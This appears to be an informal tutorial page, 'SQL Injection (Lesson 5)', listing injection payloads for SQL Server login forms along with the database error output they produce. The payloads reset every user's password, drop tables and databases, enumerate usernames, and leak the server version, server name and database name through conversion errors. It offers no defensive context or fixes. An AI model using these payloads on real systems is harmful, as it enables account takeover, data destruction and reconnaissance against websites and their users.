SQL Injection (Lesson 5)
(Using SQL Server)
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The best way to learn sql injection: install mssql and learn it, u will be expert
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Login: ' UPDATE users set password = '46f7fk' where (username = 'ehsan2'); --
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Login: ' UPDATE users set password = '46f7fk';--
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Login: ' UPDATE users set password = ";--
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Login: ' UPDATE users set password = '46f7fk' where username NOT IN(‘ehsan2','systemu’); --
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Login: ' ALTER TABLE <table_name> ADD <column_name> varchar(30);--

Login: ' ALTER TABLE <table_name> DROP COLUMN <column_name>;--
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Login: ' DROP TABLE <table_name>
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Login: ' DROP DATABASE <database_name>
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- Login: ' union select min (name), 1,1 from users where username > 'a’;--

Microsoft OLE DB Provider for SQL Server error '80040e07
Operand type clash: uniqueidentifier is incompatible with int
Check.asp, line 22/
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- Login: "+ ((convert(int, (SELECT TOP 1 UserName FROM Users WHERE Username > 'a')) + "--
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Login: a' or 1=convert(int, @@version)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07"

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 7.00
- 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright (c) 1988-2002 Microsoft Corporation Standard Edition on
Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.

/login/login.asp, line 131



Login: a' or 1=convert(int, @@servername)--

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '1G2K' to a column of data
type int.

/login/login.asp, line 131
Login: a' or 1=convert(int,db_name())--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07"

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'kpyas' to a column of
data type int.

/login/login.asp, line 131
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